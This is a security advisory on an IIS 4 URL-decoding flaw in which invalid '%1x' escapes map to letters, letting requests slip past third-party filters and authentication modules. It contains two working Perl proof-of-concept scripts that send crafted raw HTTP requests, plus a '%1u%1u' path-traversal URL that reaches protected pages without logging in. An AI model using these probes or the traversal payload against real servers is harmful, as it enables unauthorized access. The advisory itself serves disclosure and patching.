COMMAND

    - Microsoft Internet Information Server 4.0
    - Microsoft Site Server 3.0
    - Microsoft Site Server Commerce Edition 3.0

SYSTEMS AFFECTED

    IIS 4

PROBLEM

    Following is based on a Security Bulletin from the Microsoft.  RFC
    1738 specifies that web  servers must allow hexadecimal  digits to
    be input  in URLs  by preceding  them with  the so-called "escape"
    character, a percent sign.  IIS complies with this  specification,
    but also accepts  characters after the  percent sign that  are not
    hexadecimal digits.   Some of these  translate to printable  ASCII
    characters,  and  this  could   provide  an  alternate  means   of
    specifying files in URLs.

    The  vulnerability  does  not  affect  IIS; even specifying a file
    name  via  this  alternate  method  does  not  bypass  IIS' access
    controls.  However,  third-party software that  runs atop IIS  but
    does not perform  canonicalization is affected  by it.   Microsoft
    acknowledges the ACROS Security Team, Slovenia, for bringing  this
    issue to their attention.

    ".rain.forest.puppy." tried to put more light into this issue.  He
    found  himself   curious  on   the  exact   happenings  of    this
    vulnerability and decided to look  into it further.  Anyways,  the
    problem is  that IIS  parses invalid  hex escape  sequences.   For
    instance, %ff, %9a,  and %0d are  valid since FF,  9A, and 0D  are
    valid hexidecimal  numbers.   To be  valid, it  must be  two chars
    only using the digits  A-Z, a-z, and 0-9.   However, IIS was  also
    allowing things  such as  %qj, %0z,  and %g4,  which are not valid
    hexidecimal values.

    So what RFP did was set out on a quest to find out what parses  to
    what.  He  came up with  a rough table  of mappings.   The results
    come from submitting '%1?', where '?' is the character who's ascii
    value is represented below:

        87 -> 0		137 -> i
        88 -> 1		138 -> j
        89 -> 2		139 -> k
        90 -> 3		140 -> l
        91 -> 4		141 -> m
        92 -> 5		142 -> n
        93 -> 6		143 -> o
        94 -> 7		144 -> p
        95 -> 8		145 -> q
        96 -> 9		146 -> r
        129 -> a	147 -> s
        130 -> b	148 -> t
        131 -> c	149 -> u
        132 -> d	150 -> v
        133 -> e	151 -> w
        134 -> f	152 -> x
        135 -> g	153 -> y
        136 -> h	154 -> z

    This table  was generated  using the  first included  perl program
    (below).   Now,  to  test  it,  RFP  used  the second perl program
    included below  to make  a substituted  request for 'default.asp'.
    The important portion of the perl program is:

        $str="%1" . chr(132); # d
        $str.="%1". chr(133); # e
        $str.="%1". chr(134); # f
        $str.="%1". chr(129); # a
        $str.="%1". chr(149); # u
        $str.="%1". chr(140); # l
        $str.="%1". chr(148); # t
        $str.='.';
        $str.="%1". chr(129); # a
        $str.="%1". chr(147); # s
        $str.="%1". chr(144); # p

    Here we see the request is  made up of nothing bug '%1?',  where ?
    is the  corresponding ascii  character.   End result?   It  works.
    What does this allow you to bypass?  Guess is anything that  plays
    or needs the raw filename or request.  ISAPI filters and extension
    handlers come to mind.  Who, what, where, and how are  application
    specific.

    'first perl program':

        #!/usr/bin/perl
        $|=1; use Socket;
        $inet=inet_aton('10.0.0.1'); # webserver to test
        @DXX=(); $val=0;

        while($val++ < 255){
         $cval="\%1".chr($val);
         sendraw("GET /$cval.idc HTTP/1.0\n\n");
         foreach $line (@DXX){
         if($line=~/query file <b>\/([a-zA-Z0-9]+).idc<\/b>/){
          print "$val -> $1\n"; last;}}}

        sub sendraw { my ($pstr)=@_;
         $PROTO=getprotobyname('tcp')||0;
         if(!(socket(S,PF_INET,SOCK_STREAM,$PROTO))){ die("socket");}
         if(connect(S,pack "SnA4x8",2,80,$inet)){
          select(S);      $|=1;
          print $pstr;    @DXX=<S>;
          select(STDOUT); close(S);
          return;
         } else { die("not responding"); }}

    'second perl program':

        #!/usr/bin/perl
        $|=1; use Socket;
        $inet=inet_aton('10.0.0.1'); # webserver to test
        @DXX=(); $val=0;

        $str="%1".chr(132);  # d
        $str.="%1".chr(133); # e
        $str.="%1".chr(134); # f
        $str.="%1".chr(129); # a
        $str.="%1".chr(149); # u
        $str.="%1".chr(140); # l
        $str.="%1".chr(148); # t
        $str.='.';
        $str.="%1".chr(129); # a
        $str.="%1".chr(147); # s
        $str.="%1".chr(144); # p

        sendraw("GET /$str HTTP/1.0\n\n");
        print @DXX;

        sub sendraw {   # raw network functions stay in here
                my ($pstr)=@_;
                $PROTO=getprotobyname('tcp')||0;
                if(!(socket(S,PF_INET,SOCK_STREAM,$PROTO))){ die("socket");}
                if(connect(S,pack "SnA4x8",2,80,$inet)){
                        select(S);      $|=1;
                        print $pstr;    @DXX=<S>;
                        select(STDOUT); close(S);
                        return;
                } else { die("not responding"); }}

    Joakim Karlmark added following.  One category of systems that are
    vulnerable to this are 3rd party authentications modules that  do,
    for example radius authentication.  One system that Joakim checked
    uses  a  special  directory,  lets  call  it  /authRoot  where the
    administrators can store customized  login pages, graphics and  so
    on.  So, by neccessity,  it allows unauthenticated access to  this
    directory.  Unfortunately the ISS  bugg allows one to "break  out"
    of this direcotry by appending %1u%1u  (".." in other words).  So,
    to access default.asp we could would enter the url...

        http://server/authRoot/%1u%1u/default.asp

    And, ooops, unauthenticate access...

SOLUTION

    Patch availability:

    - Intel:
        http://www.microsoft.com/Downloads/Release.asp?ReleaseID=16357
    - Alpha:
        http://www.microsoft.com/Downloads/Release.asp?ReleaseID=16358